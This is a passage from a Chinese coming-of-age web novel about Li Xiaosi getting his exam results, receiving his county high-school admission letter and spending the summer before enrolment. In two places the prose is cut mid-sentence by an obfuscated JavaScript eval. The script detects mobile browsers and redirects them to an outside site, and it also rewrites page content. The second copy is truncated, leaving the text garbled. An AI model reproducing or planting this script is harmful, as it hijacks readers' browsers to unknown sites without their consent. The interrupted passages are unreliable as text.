想起林小美在栀子花树下说“谢谢你帮我保守秘密”,笑着说“录取通知书到了给我发个消息”。那时候他觉得,初中三年,值了。 手机震了一下,是林小美发来的消息。 “我考了671分,全县第18名。” 后面跟了一个笑脸。 李小四笑了。他打字回过去:“恭喜林老师!我628,147名。” “恭喜李小四同学。你上一中了。” “你也是。” “那说好了,一中见。” “一中见。” 李小四放下手机,走到客厅。妈妈正在阳台上收衣服,看到他从房间里出来,手里还拿着手机,表情紧张地问:“查到了?” “查到了。” “多少分?” “628。” 妈妈愣了一下:“够不够上一中?” “够了,超了将近一百分。” 妈妈张了张嘴,没说出话来。她把手里刚收的衣服放在沙发上,走过来,一把抱住了李小四。她抱得很紧,紧得李小四有点喘不过气。他感觉到妈妈的肩膀在抖,听到她压抑的哭声,一下一下的,像心脏在跳。 “妈,”李小四说,“你别哭了。” “妈没哭,”妈妈说,声音闷在他肩膀上,“妈高兴。” 李小四拍了拍妈妈的背,像小时候妈妈拍他一样。 他给爸爸打了个电话。爸爸那边信号不好,声音断断续续的,但“好”这个字听得清清楚楚,说了不知道多少遍。他说“爸在开车,回去再说”,然后挂了电话。但过了几秒钟又打过来,说“小四,爸为你骄傲”,然后又挂了。 他给姐姐发了成绩截图。姐姐连发了二十多个“啊啊啊啊啊”,然后发了一段语音,点开全是哭声和笑声混在一起,听不清在说什么。最后她发了一行字:“李小四,你真的长大了。” 他给大壮发了消息:“大壮,我考上了。628分。” 大壮这次回得很快:“我就知道你能行!兄弟替你高兴!”后面跟了一长串感叹号和火焰的表情。 李小四看着那些表情,笑了笑,但笑着笑着眼眶就红了。他想,如果大壮也能参加中考,也能考上一所好高中,那该多好。但人生没有如果,每个人的路都不一样,他只能走好自己的路,把大壮的那份也一起走下去。 那天晚上,妈妈做了一大桌子菜,红烧排骨、清蒸鲈鱼、蒜蓉西兰花、西红柿蛋汤,摆了满满一桌。李小四吃了两碗饭,喝了三碗汤,肚子撑得圆滚滚的。 吃完饭他回到房间,打开抽屉,拿出那支姐姐送的钢笔。银色的笔身被用得有了些微的磨损,笔尖依旧顺滑,写字的时候像在冰面上滑行。他把钢笔放在桌上,对着台灯看了很久。 然后他翻开一个新的笔记本,在第一页写下了几个字: “高中,我来了。” 窗外蝉鸣不止,夏天还很漫长。 但李小四知道,这个夏天过后,一切都会不一样。 12. 录取通知书 查完分之后的日子,忽然就慢了下来。 慢得像河里的水,看不出在流,但水面的树叶确实在一寸一寸地往前漂。李小四每天睡到自然醒,醒来也不急着起床,躺在床上听蝉鸣。县城的蝉到了七月就疯了,从早叫到晚,声音黏稠得像化不开的糖浆,听得人昏昏欲睡。他有时候会盯着天花板上的那道裂缝看很久——那道裂缝从灯座旁边延伸出来,弯弯曲曲的,像一条干涸的河流。他住了十几年,从来没有认真看过它,现在忽然有了大把的时间,才发现天花板上有裂缝,墙角有霉斑,窗户的插销早就锈死了,要用很大力气才能扳开。 这些事情他一直都知道,但从来没有“看见”过。 录取通知书要等到七月底才发,这中间又是将近二十天的空白。不像等成绩时那么焦虑,而是一种懒洋洋的、无所事事的漫长。像泡在一缸温水里,不冷也不热,不想动,也不想出来。 李小四开始了一种近乎退休的生活。 早上八九点醒来,躺在床上刷一会儿手机,看看朋友圈里同学们都在干什么。张瑞去了上海,跟爸妈一起旅游,每天发九宫格照片,外滩、东方明珠、迪士尼,人山人海的,看着就累。林小美没有发朋友圈,她的朋友圈永远是一片空白,像她这个人一样,不喜欢让别人看到太多。其他同学有的在学车,有的在打工,有的在家躺尸,跟李小四差不多。 刷完手机他就起床,洗漱,吃早饭。妈妈去上班之前会把早饭留在锅里,有时候是粥和咸菜,有时候是头天晚上剩的饭菜,有时候是一碗泡面——她会把泡面泡好,盖上盖子,等李小四起来的时候面已经坨了,但他从来不抱怨,坨了也吃,吃得干干净净。 吃完早饭他洗好碗,然后就开始了一天的漫游。 有时候他骑电动车出去,没有目的地,就是到处转转。县城这几年变化挺大的,多了好几条新路,路边盖起了新的小区,外墙刷着鲜亮的颜色,跟老城区的灰扑扑形成了鲜明的对比。他沿着新路一直骑,骑到县城边上,看到一大片工地,塔吊林立,工人们在烈日下干活,皮肤晒得黝黑,汗水在背上流成一条条的小河。他停下车看了一会儿,想起了爸爸。爸爸也在工地上干过,后来才去跑的长途货运。他不知道爸爸在工地上干活的时候是什么样子,是不是也这样光着膀子,是不是也这样汗流浃背。 他没见过爸爸干活的样子。他只见过爸爸回家的样子——疲惫的、沉默的、吃完饭就在沙发上打瞌睡的样子。以前他觉得爸爸不爱说话,不爱跟他交流,现在他忽然明白了,不是不想说,是太累了。累到没有力气说话。 他把电动车停在路边,在树荫下坐了一会儿,然后掉头回家。 有时候他走路去。走路比骑车慢得多,但慢有慢的好处。走路的时候能看到很多骑车时看不到的东西——墙根下长出来的野草,电线杆上贴的小广告,路边摊上摆的各种小玩意儿,还有那些坐在门口乘凉的老人。老人们搬个小马扎,坐在巷子口,摇着蒲扇,有一搭没一搭地聊天。李小四从他们身边走过,他们会抬头看他一眼,然后继续聊天,好像他是风,是阳光,是这个下午的一部分,不值得特别关注。 他喜欢这种感觉。不被关注,不被期待,只是存在着。跟初三那一年完全不一样。初三的时候,他每一天都被盯着,被马老师盯着,被妈妈盯着,被那张倒计时表盯着,连他自己都盯着自己。现在终于可以松一口气了,可以做一个不被任何人盯着的人。 有时候他在家待着,哪儿也不去。 在家待着的时候,他做的最多的事情就是收拾东西——不是真的需要收拾,而是找点事情做。他把初中的课本又翻了一遍,把那些他觉得自己再也不会看的东西挑出来,堆在墙角,等收废品的来。但每次要扔的时候,他又会犹豫,会翻开看看,看了就又舍不得了。 比如那本语文课本,里面有一篇《背影》,他初一的时候学这篇课文,没什么感觉,就觉得朱自清他爸爬月台挺不容易的。初三的时候再读,读到“他用两手攀着上面,两脚再向上缩;他肥胖的身子向左微倾,显出努力的样子”,忽然就看哭了。不是因为课文写得好,而是因为他想到了爸爸。爸爸的腰不好,每次从货车上下来的时候,也是这个样子,两手撑着车门,身子倾斜,一步一步地往下挪。他从来没有把这个画面跟《背影》联系起来,直到初三的某个晚上,他在复习语文的时候忽然想通了,趴在桌上哭了很久。 那篇课文他后来读了很多遍,每一遍都会想起爸爸。 他想了想,把那本语文课本从废纸堆里抽了出来,放回了书架上。 七月中旬的一个下午,李小四正在午睡,被手机震醒了。 是林小美打来的电话。她很少打电话,一般都发微信,所以看到来电显示的时候,李小四以为出了什么事。 “喂?”他的声音还带着没睡醒的沙哑。 “李小四,”林小美的声音听起来很平静,但比平时快了一点,“录取通知书什么时候发?” “不是说七月底吗?” “我听说有人已经收到了。” “谁?” “二班的。他们班有人收到了。” 李小四从床上坐起来,揉了揉眼睛:“真的假的?” “真的。她在朋友圈发了照片。”林小美顿了顿,“你要不要去学校问问?” 李小四看了看时间,下午三点半。太阳还很大,但已经没那么毒了。他想了一下,说:“行,我去看看。” “那我也去。” “你从家过来?远不远?” “骑自行车二十分钟。” “那行,学校门口见。” 李小四挂了电话,洗了把脸,换了件干净衣服,骑上电动车出了门。七月的风吹在脸上热乎乎的,像一只温热的手掌贴在皮肤上。路边的梧桐树叶子被晒得蔫蔫的,垂头丧气地挂在枝头,蝉叫声震耳欲聋。 他到学校门口的时候,林小美已经到了。她骑着一辆旧自行车,天蓝色的,车筐里放着一个帆布袋子,车铃铛掉了,只剩一个光秃秃的杆子。她穿着一件白色的连衣裙,头发扎成低马尾,站在自行车旁边,正在用手扇风。这是李小四第一次看到她穿裙子。三年来她永远穿校服,校服下面是牛仔裤和T恤,从来不穿裙子。今天不知道怎么了,忽然就穿了。 “你穿裙子了。”李小四说。 林小美低头看了一眼自己的裙子,好像才意识到自己穿的是什么:“怎么了?不能穿吗?” “能穿。就是……第一次见。” 林小美没有接话,耳朵红了一点,也不知道是太阳晒的还是怎么的。 两个人一起走进校门。暑假的校园空荡荡的,操场上的草长得很高了,没人修剪,乱七八糟的,像很久没人打理过的荒地。教学楼的大门锁着,他们绕到侧面的办公楼,门开着,里面有一丝凉气,是空调的味道。 马老师的办公室在三楼。他们爬楼梯上去的时候,李小四发现自己的心跳有点快。不是因为累,而是因为一种奇怪的紧张感——他已经离开这所学校快一个月了,但走进这栋楼的时候,好像什么都没变。走廊还是那条走廊,墙壁还是那面墙壁,连楼梯拐角处那张“请勿喧哗”的告示都还在原处,边角翘起来,用透明胶粘着,透明胶已经发黄了。 他觉得自己好像从来没有离开过。 马老师在办公室。他坐在靠窗的位置,面前摊着一沓文件,正在写着什么。看到他们进来,他抬起头,摘下老花镜——李小四第一次看到他戴老花镜,以前从来没注意过,也许他以前不戴,也许是他不想让学生看到自己戴老花镜的样子。 “你们来了?”马老师的声音很平静,好像早就知道他们会来。 “马老师,”林小美开门见山,“录取通知书到了吗?” 马老师靠回椅背,看了他们一眼,嘴角微微动了一下——那个表情介于笑和不笑之间,很难形容。他伸手从抽屉里拿出一个信封,放在桌上。 “你们的,我刚从教育局领回来。” 李小四的心猛地跳了一下。那个信封是白色的,上面印着“录取通知书”几个字,红色字体,跟准考证的样式有点像,但又不太一样。信封不是很厚,摸上去只有薄薄的一张纸,但那一张纸,是他三年换来的。 马老师把信封推过来,但没有松手。他看着李小四,说了一句让李小四没想到的话:“李小四,你知不知道你初一的数学考了多少分?” “38。”李小四说。 “你记得就好。”马老师松开手,把信封推到他面前,“记住那个分数,记住你是怎么从那个分数走到今天的。以后高中遇到困难了,想想初中的自己。” 李小四拿起信封,手指微微发抖。他没有当场拆开,而是把信封攥在手里,攥得很紧,生怕它飞了似的。 林小美也拿到了她的信封。她拿起来,看了一眼,然后小心翼翼地拆开,抽出里面的通知书,看了一遍,嘴角弯了弯,然后又折好装回去。整个过程安静而克制,跟她这个人一模一样。 “不看看?”马老师看着李小四。 李小四摇了摇头:“回家看。” 马老师点了点头,没有勉强。他站起来,走到窗边,背对着他们,看着窗外的操场。操场上那片疯长的草在风里摇摆,远远看去像一片绿色的海。 “你们俩是这届考得最好的之一,”马老师说,没有回头,“林小美全县第十八,李小四一百四十七。咱们班考上的一共三十一个人,比去年多了五个。你们争气了。” 他的声音有点哑,不知道是不是空调吹的。 “马老师,”林小美忽然说,“谢谢您。” 马老师转过身来,看着她,又看了看李小四,摆了摆手:“谢什么谢,你们自己考的,跟我没关系。” 但他说这话的时候,眼眶是红的。 从学校出来的时候,太阳已经偏西了,光线变成了金黄色,把整个县城涂上了一层暖色调。蝉还在叫,但已经没有午后那么疯狂了,声音里多了一丝疲惫。 李小四和林小美站在校门口,一人手里拿着一个白色的信封。 “你不拆开看看?”林小美问。 李小四低头看着手里的信封,犹豫了一下,撕开了封口。他抽出里面的通知书,是一张A4大小的硬纸,上面印着县一中的校徽和校名,下面写着: “李小四同学:经县教育局批准,你被我校高中部录取,请于八月三十一日持此通知书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444062|201071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到校报到。” 下面盖着学校的红章,鲜红的,还带着油墨的味道。 他看了三遍。每一遍都觉得不真实。他想起初一那个考38分的自己,那个被黄毛堵在学校门口要保护费的自己,那个在摸底考试后不敢回家的自己。那个自己无论如何也不会相信,三年后他会站在这里,手里拿着县一中的录取通知书。 “我考上了。”他说,声音很轻,像在跟自己确认。 “你考上了。”林小美说。 李小四把通知书折好,小心翼翼地装回信封里,然后放进了书包的最里层,拉好拉链,还拍了拍。 “走吧,”他说,“请你吃烤肠。” “你还欠我一根呢。”林小美说。 “什么时候欠的?” “中考那天,你说AA,但最后是我付的钱。” 李小四想了想,好像确实有这么回事。他笑了:“行,今天连本带利还你,两根。” 学校门口的烤肠摊还在。老板看到他们两个,笑着说:“你们这届都考完了,还来吃啊?” “考完了就不能吃了?”李小四说。 “能吃能吃,吃多少都行。”老板手脚麻利地烤好两根,刷上辣椒酱,递给他们。 两个人站在摊子前,一人拿着一根烤肠,夕阳把他们的影子拉得很长很长,投在地上,像一个巨大的日晷。 “林小美,”李小四咬了一口烤肠,含混地说,“你说高中会不会比初中还累?” “肯定更累。” “那你还去?” 林小美白了他一眼:“考都考上了,能不去吗?” 李小四笑了。他知道她说得对。路已经铺好了,走就是了。累不累的,走上去就知道了。 吃完烤肠,林小美骑上她的自行车,李小四骑上他的电动车。两个人的方向相反,一个往东,一个往西。 “开学见。”林小美说。 “开学见。” 林小美蹬了一下踏板,自行车往前滑了出去,天蓝色的车身在夕阳里显得很亮。她的白色连衣裙被风吹起来,像一面小小的旗帜。 李小四看着她骑远了,才发动电动车,往家的方向开。 回到家的时候,妈妈已经下班了,正在厨房里炒菜。油烟机嗡嗡地响,香味从厨房飘出来,是红烧排骨的味道——最近她做红烧排骨的频率高了很多,好像要把李小四之前三年亏欠的肉都补回来。 “妈,”李小四站在厨房门口,“录取通知书拿到了。” 妈妈手里的铲子停了一下,然后继续翻炒,但声音明显不稳了:“拿给我看看。” 李小四从书包里掏出信封,抽出来递给她。妈妈接过去,先在围裙上擦了擦手,才接过那张纸,看了很久。她不说话,就那么看着,一个字一个字地看,好像在确认这上面的每一个字都是真的。 “我去给你爸打个电话。”妈妈把通知书还给他,转过身去,在围裙上擦了擦眼睛,然后走到阳台上,拨了爸爸的号码。 李小四站在厨房门口,听到妈妈的声音从阳台传来,被风吹得断断续续的:“小四考上了……嗯,拿到了……对,县一中……你什么时候回来……好,路上慢点……” 她的声音里有笑意,也有鼻音,又高兴又想哭的那种。 李小四转身回到自己房间,把通知书放在书桌上,靠着台灯立着。他退后两步,看着那张白纸黑字红章的东西,忽然觉得它像一个句号,给初中三年画上了一个圆满的结尾。但它又像一个冒号,后面跟着的,是未知的三年。 他拿出那支姐姐送的钢笔,吸满墨水,在错题本的最后一页——那个本子已经写满了,但他还是在最后一页的空白处写下了几行字: “今天收到录取通知书。县一中。” “高中,我会更努力的。” “不是为了谁,是为了自己。” 他想了想,又在下面加了一行: “也是为了那些相信我的人。” 写完之后,他合上本子,把它放进抽屉里,跟那本卷了边的练习册和那张38分的试卷放在一起。那些东西,他会一直留着。 晚上,李小四躺在床上,收到了大壮的消息。 大壮发了一张照片,是一个工地的全景,钢筋水泥,塔吊林立,灰扑扑的一片。照片下面写了一行字:“我在工地搬砖,晒得跟非洲鸡一样。” 李小四看着那张照片,心里很不是滋味。他想说“你注意安全”,想说“别太累了”,想说“你要照顾好自己”。但这些话都太轻了,轻得像空气,说出来就散了。 他最后发了一句:“大壮,你什么时候回来?我请你吃烤肠。” 大壮回了一个笑脸:“等我攒够钱的。你好好学习,别想我。” 李小四盯着那行字看了很久,然后把手机放在枕边,关了灯。 黑暗中,蝉还在叫,不知道在哪棵树上,声音一长一短的,像在呼唤什么。窗外的月光透过窗帘的缝隙照进来,在地板上画出一道细细的白线,像一条路,通向某个他不知道的地方。 他想,那个地方大概叫未来。 他还不知道未来长什么样,但他知道,他正在一步一步地朝它走去。 13. 八月未央 录取通知书拿到手之后,日子反而更慢了。 好像一个跑了很久的长跑运动员,冲过终点线之后忽然停下来,发现腿已经不是自己的了,心脏还在狂跳,呼吸还没调匀,但已经不需要再往前跑了。那种感觉很奇怪,不是空虚,而是一种身体和灵魂之间的时差——人已经到站了,心还在路上,还没有反应过来。 李小四用了好几天才适应这种“不需要努力”的日子。 每天早上醒来,他仍然会有那么一瞬间的慌乱,觉得自己应该赶紧起床做卷子,觉得今天还有好多东西要复习,觉得时间不够用了。然后他才会想起,中考已经结束了,录取通知书已经拿到了,他什么都不用做了。这种清醒的过程每天都会重复,像一场温和的梦魇,每天早上都要挣脱一次才能完全醒来。 他把那本错题本从抽屉里拿出来翻过几次。不是想学习,而是想看看自己走过的路。那些红蓝黑三色的笔迹,那些圈圈画画的批注,那些写着“这道题不会再错了”的誓言——有些他确实没有再错,有些他又错了好几次才真正记住。他看着那些字迹,觉得自己那时候真是一个很认真的人。不是现在的他不认真,而是那时候的认真是一种生存本能,不认真就会掉下去,就会回到那个38分的深渊。现在深渊没有了,他反而不知道该把认真放在哪里。 七月下旬的一个傍晚,李小四在河堤上遇到了张瑞。 张瑞正坐在石阶上钓鱼,旁边放着一个红色的塑料桶,桶里已经有三四条小鲫鱼了,在浑浊的水里慢吞吞地游着。他穿着一件宽大的篮球背心,晒得黑了不少,看到李小四的时候推了推眼镜,咧嘴笑了。 “你怎么在这儿?”张瑞问。 “溜达。你怎么在这儿?” “钓鱼。看不出来吗?”张瑞指了指桶里的鱼,“我爸说我太胖了,暑假要把我赶出家门锻炼。我说钓鱼也算锻炼吗?他说算,坐着不动总比躺着不动强。” 李小四笑了,在他旁边坐下来。夕阳正从西边落下去,河面上铺了一层碎金子,风一吹就碎了,又聚起来,又碎了。远处有人在放风筝,一只红色的蜻蜓在天空里摇摇晃晃的,线放得很长,几乎要碰到云。 “你暑假作业写完了吗?”张瑞忽然问。 李小四愣了一下:“暑假还有作业?” “高中发的啊,你没收到吗?”张瑞从书包里掏出一本薄薄的册子,封面印着“高一新生暑期学习指导”几个字,“报到的时候发的,跟录取通知书一起。你报到的时候没拿?” 李小四想了一下。他去报到那天,确实是领了一个文件袋,但回家之后只拆了录取通知书,其他的东西连看都没看,不知道塞到哪个角落去了。 “不会吧,”他拍了拍脑门,“你等我回去找找。” 他骑电动车回家,在书桌上的一堆文件里翻了半天,终于找到了那个文件袋。打开一看,里面除了录取通知书副本,确实还有几样东西——一张报到须知,一张缴费说明,一本薄薄的暑期学习指导,还有一张手绘的校园地图。他翻开那本学习指导,里面列了各科的预习内容,语文要读《红楼梦》前二十回,数学要预习集合和函数,英语要背高一上学期的单词,每科都有具体的任务和要求。 “这得做到什么时候去?”他嘀咕了一句,但还是把文件袋收好,放在了书桌显眼的位置。 他骑着电动车回到河堤,张瑞还在,鱼漂在水面上轻轻晃动,纹丝不动。 “找到了吗?”张瑞问。 “找到了。”李小四把车停好,坐回石阶上,“你怎么想起来做暑假作业的?这才七月底,离开学还一个多月呢。” “闲着也是闲着。”张瑞说,“而且我爸说了,高中跟初中不一样,高一要是跟不上,后面就很难追了。我就想着先看看,能看懂多少算多少。” 李小四沉默了一会儿。张瑞说的有道理,他当然知道有道理。但刚刚卸下中考的重担,又要扛起高中的包袱,他觉得有点喘不过气来。就像跑完一个马拉松,刚想坐下来喝口水,就有人告诉你下一场马上就要开始了。 “你看得懂吗?”他问。 “集合还行,函数就看不懂了。”张瑞老实地说,“你呢?” “我还没看。” “那你看看,看完了咱俩对一下。” 李小四回到家,真的把那本学习指导翻开了。数学第一章是集合,他看了十几分钟,大概明白了集合的概念和表示方法,但后面的子集、并集、交集就开始迷糊了。不是看不懂,而是脑子里有一堵墙,不愿意让这些东西进来。那堵墙的名字叫“不想学了”,它很厚,很顽固,堵在那里,不让任何新知识通过。 他把学习指导合上,放在一边,躺到床上发呆。 天花板上的那道裂缝还在那里,弯弯曲曲的,像一个没有写好的“之”字。他盯着那条裂缝,脑子里乱七八糟的,一会儿想到高中,一会儿想到大壮,一会儿想到林小美今天穿的那条白裙子,一会儿想到马老师说的“记住那个分数”。想得太多了,脑袋像一团被猫玩过的毛线,理不清,也扯不断。 他拿起手机,给林小美发了一条微信:“你有在看高中的书吗?” 林小美回得很快:“在看。怎么了?” “你看得懂吗?” “集合可以,函数有点难。” “我也是。” “那等开学了问老师。” “嗯。” 对话又断了。李小四盯着屏幕,觉得应该再说点什么。说“你暑假还去哪儿玩了吗”?她哪儿也没去。说“你奶奶身体怎么样”?问过了。说“你那条白裙子挺好看的”?太唐突了,说不出口。 他把手机放下,又拿起来,又放下,反复了几次,最后什么也没说。 八月初的一个晚上,李小四接到了一个意想不到的电话。 是马老师打来的。 “李小四,你明天有事没有?”马老师的背景音很安静,不像在学校,应该是在家里。 “没有,怎么了?” “你来学校一趟,帮我搬点东西。我要换办公室了,有些书和资料要搬到新办公室去,我一个人搬不动。” “行,几点?” “上午九点,在学校门口见。” “好。” 挂了电话,李小四觉得有点奇怪。马老师为什么不叫别的老师帮忙,非要叫他一个学生?但他没有多想,反正也没什么事,去就去吧。 第二天上午九点,李小四准时到了学校门口。马老师已经等在那里了,穿着一件灰色的短袖衬衫,手里拿着一串钥匙,看到他就点了点头,转身往办公楼走。 马老师的办公室在二楼,一间不大的屋子,里面放了两张办公桌,但另一张桌子的主人——李小四记得是教英语的王老师——已经退休了,桌子上落了薄薄一层灰。马老师的桌子靠窗,收拾得很整洁,桌上放着一台老旧的台式电脑,一个笔筒,一摞作业本,还有一个小鱼缸,里面养着两条红色的金鱼,在水里慢吞吞地游着。 “帮我把这些书搬到三楼的新办公室。”马老师指了指墙角的一摞纸箱,大概有五六个,每个都塞得满满当当的。 李小四搬起一个箱子,分量不轻,里面全是书。他抱着箱子爬楼梯到三楼,新办公室比原来的大一些,窗户也大,光线好,但还没有布置,空空荡荡的,只有几张桌椅。 两个人来回搬了三趟,才把所有箱子都搬完。李小四累得出了汗,马老师的额头上也有一层细密的汗珠。他打开一个纸箱,从里面拿出两瓶矿泉水,递了一瓶给李小四。 “坐下歇会儿。”马老师坐在新办公桌前的椅子上,拧开矿泉水喝了一口。 李小四坐在对面的一张椅子上,也喝了一口水。水是凉的,从喉咙一路凉到胃里,很舒服。 办公室里安静了一会儿。空调还没装,只有一台立式风扇在呼呼地转,把马老师桌上的一张纸吹得哗哗响。他用杯子把纸压住,然后看着李小四,好像在想什么事情。 “李小四,”马老师忽然开口了,“你知道我叫你来不只是为了搬东西吧?” 李小四愣了一下,摇了摇头。 马老师靠在椅背上,双手交叉放在腹部,姿态比在学校里松弛了很多。在学校里,他永远是挺直腰板的,永远是表情严肃的,好像稍微松懈一点,就会被学生看出破绽。但现在,在这个还没有布置好的新办公室里,他好像卸下了什么东西,变得像一个普通的中年人了。 “你们这一届,我跟了三年,”马老师说,“从初一跟到初三,这是第二次。之前带过一届完整的,那是八年前的事了。带完整的一届,跟中途接班不一样。三年下来,你们长什么样,什么性格,什么毛病,我都清楚。就像自己种的地,哪块土肥哪块土瘦,心里都有数。” 他顿了顿,目光落在窗外的操场上。操场上没有人,只有草和风和阳光。 “你们走了以后,我有时候会想,你们到了高中会怎么样。会不会适应,会不会掉队,会不会遇到好老师。想这些没用,但就是忍不住会想。”他转过头看着李小四,“你是我最放心不下的一个。” 李小四张了张嘴,想说点什么,但马老师抬手制止了他。 “不是因为你不聪明,是因为你太容易受影响了。”马老师说,“初一的时候你考38分,不是因为你不聪明,是因为你不想学。后来你想学了,成绩就上来了。但你的成绩一直跟着你的状态走,状态好就上去,状态不好就下来。这说明你的底子还不够厚,你的基础还不够牢。你靠的是那股劲儿,不是真正的实力。” 李小四握着矿泉水瓶的手紧了紧。 “高中不一样,”马老师继续说,“高中的知识比初中难得多,光靠一股劲儿是不够的。你需要的是方法,是习惯,是那种不管状态好不好都能学进去的能力。这个能力不是天生的,是练出来的。你需要在高一这一年,把这种能力练出来。” 李小四点了点头。他没有说“我知道了”或者“我会努力的”,因为他知道那些话太轻了,轻到说出来就像没说过。他只是把马老师说的每一个字都记在了心里,像把种子埋进土里,等着它们生根发芽。 马老师又喝了一口水,换了个话题:“你跟林小美还联系吗?” “联系。”李小四说。 “她是个好孩子,”马老师说,“懂事,要强,就是太要强了。你要是有空,多帮帮她。” 李小四愣了一下:“她比我强多了,怎么是我帮她?” 马老师看了他一眼,那眼神里有种说不清的东西,像是一个知道得太多的人在看一个什么都不知道的人。 “我说的不是学习。”马老师只说了这一句,没有多解释。 从学校出来的时候,已经快中午了。太阳很晒,李小四骑电动车回家,一路上都在想马老师说的那些话。“你是我最放心不下的一个。”这句话在他脑子里转来转去,像一片落不到地的树叶。他不知道马老师为什么最放心不下他,班里有比他成绩差的,有比他家庭更困难的,有比他更让人操心的。但他后来想明白了——也许不是因为他最差,而是因为马老师在他身上花的时间最多,投入的感情最多。就像一个农民,在自己最用心耕种的那块地上花了最多的力气,收获的时候,自然会多看几眼。 八月中旬,天气热到了顶峰。 县城的夏天没有尽头,太阳每天准时升起,准时炙烤大地,蝉准时从早叫到晚,一切都按部就班,像一台运转良好的机器,从不偷懒,从不休息。李小四已经被热得不想出门了,整天待在房间里,风扇开到最大档,呼呼地吹着热风,吹不走暑气,只能把汗吹干一点。 他开始认真地看那本暑期学习指导了。不是因为他忽然变得热爱学习了,而是因为他实在找不到别的事做。游戏打腻了,电影看完了,小说翻了两本就不想看了,河堤去了好几次,连那条河他都看腻了。想来想去,还是翻开书,至少能让时间过得快一点。 数学他慢慢地看,一天看一节,不求快,只求看懂。看不懂的地方就多看几遍,还是看不懂就跳过去,等开学再说。英语他每天背十个单词,不多,但坚持了下来。语文他翻出了《红楼梦》,从第一回开始读,读到“满纸荒唐言,一把辛酸泪”,觉得这话说得真好,但往下读就读不动了,人物太多,关系太乱,他得画个人物关系图才能理清楚。 这种学习跟初三完全不一样。初三的学习是打仗,是冲锋,是拼刺刀,每一分钟都不能浪费,每一道题都不能放过。现在的学习是散步,是漫游,是东看看西看看,没有目标,没有压力,想学就学,不想学就放下。两种感觉都很奇怪,但后一种让他觉得舒服。 有一天下午,他正在看数学,手机响了。是姐姐打来的视频电话。 “小四!”姐姐的脸出现在屏幕上,背景是她的出租屋,墙上贴着一张考研倒计时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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挂了电话,李小四坐在书桌前,看着窗外发呆。天快黑了,天边有一抹橘红色的晚霞,像谁打翻了一瓶颜料,洇染了大半个天空。他忽然想起小时候,爸爸还在县城上班的时候,每天傍晚都会带他出来看晚霞。爸爸指着天边说“你看那朵云像不像一匹马”,他就说“不像,像一头大象”。两个人就那样站在楼下,争论那朵云到底像什么,直到天黑。 那些日子好像很远了,远得像是上辈子的事。 他希望爸爸能回县城来。不是为了陪他——他已经十六岁了,不需要人陪了——而是为了让爸爸不用再一个人睡在服务区,不用再吃泡面当晚饭,不用再在高速上开着开着车就打瞌睡。他希望爸爸能在家里睡觉,在家里吃饭,在家里看电视,哪怕什么都不做,就那么坐着也行。 八月的尾巴,李小四收到了一份意外的礼物。 是一个包裹,从天津寄来的,不大,用黄色胶带缠得严严实实的。他拆开的时候费了好大的劲,剪刀都差点戳到手。 里面是一双球鞋。 白色的鞋面,蓝色的条纹,鞋底干干净净的,是新的。鞋盒里塞了一张纸条,上面是大壮歪歪扭扭的字迹: “小四,这是我用第一个月工资买的。不是名牌,你别嫌弃。你不是说高中的操场有塑胶跑道吗?穿新鞋跑,跑得快。你的兄弟,王大壮。” 李小四捧着那双鞋,在床边坐了很久。 他想给大壮打电话,想说“你干嘛花这个钱”,想说“你自己留着用”,想说“你的工资应该寄回家”。但他知道,大壮不会听他的。大壮这个人,平时嘻嘻哈哈的,但心里认定的事,谁也拦不住。他要给你买鞋,就会买,你说什么都没用。 他把鞋穿上,大小刚好,不紧不松,像是量着他的脚买的。他不知道大壮是怎么知道他的鞋码的,也许是他以前随口说过,也许是大壮猜的,也许是他偷偷问过别人。不管怎样,这双鞋穿在脚上,很合脚,很舒服,像是被人记挂着的温度。 他穿着新鞋在房间里走了两圈,然后给大壮发了一条消息:“鞋收到了。很合脚。谢谢。” 大壮回了一个语音,声音有点喘,应该在干活:“合脚就行。你别谢我,等你考上大学了给我买双更贵的。” 李小四笑了,笑着笑着眼眶就红了。 他把那双鞋放在鞋架上,没有收进鞋柜里,就放在最显眼的位置,每天早上起床第一眼就能看到。他打算开学第一天就穿这双鞋去学校。 八月三十一号,报到前夜。 李小四把要带的东西一样一样地清点好,装进新书包里。书包是妈妈上周给他买的,深蓝色的,不是什么名牌,但很结实,夹层多,能装不少东西。他把录取通知书、身份证、缴费凭证、学习指导、笔记本、笔袋,一样一样地放进去,每放一样就确认一遍,确认了三遍才拉好拉链。 书包放在书桌上,鼓鼓囊囊的,像一个整装待发的士兵。 他又检查了一遍那双新鞋,鞋带系好了,鞋垫铺平了,鞋面上没有灰。他把鞋子放在床前,明天早上起来一伸脚就能穿上。 妈妈在客厅里喊他吃饭。他走出去,看到桌上摆着三菜一汤,红烧排骨、清炒时蔬、凉拌黄瓜、番茄蛋花汤,都是他爱吃的。妈妈坐在对面,看着他吃,自己不怎么动筷子。 “明天几点报到?”妈妈问。 “上午九点。” “我请了半天假,送你去。” “不用了妈,我自己去就行。又不远。” “我送你去。”妈妈重复了一遍,语气不容商量。 李小四没有再说了。他知道妈妈想去,想去看看他即将度过三年的学校,想去看看他坐在哪间教室里,想在他开始新的旅程之前,再多陪他一会儿。 那天晚上,他洗完澡,躺在床上,翻来覆去睡不着。 手机亮了一下,是林小美发来的消息。 “明天报到,你几点到?” “九点。” “那我也九点。” “好。” “你紧张吗?” “有一点。” “我也是。” “高中了,李小四。” “嗯,高中了。” “那……明天见。” “明天见。” 李小四把手机放在枕边,关了灯。窗外的月光还是那么亮,透过窗帘的缝隙照进来,在地板上画出一条细细的白线。蝉还在叫,不知道是不是最后一批了,声音里透着一种秋天将至的疲惫。 明天,他就要穿上大壮送的新鞋,背上妈妈买的新书包,走进县一中的校门。 不是初中部,是高中部。 不是那个考38分的李小四,是一个全新的、不知道该叫什么名字的李小四。 他闭上眼睛,在黑暗中轻轻地说了一句:“高中,我来了。” 声音很小,小到只有他自己能听见。 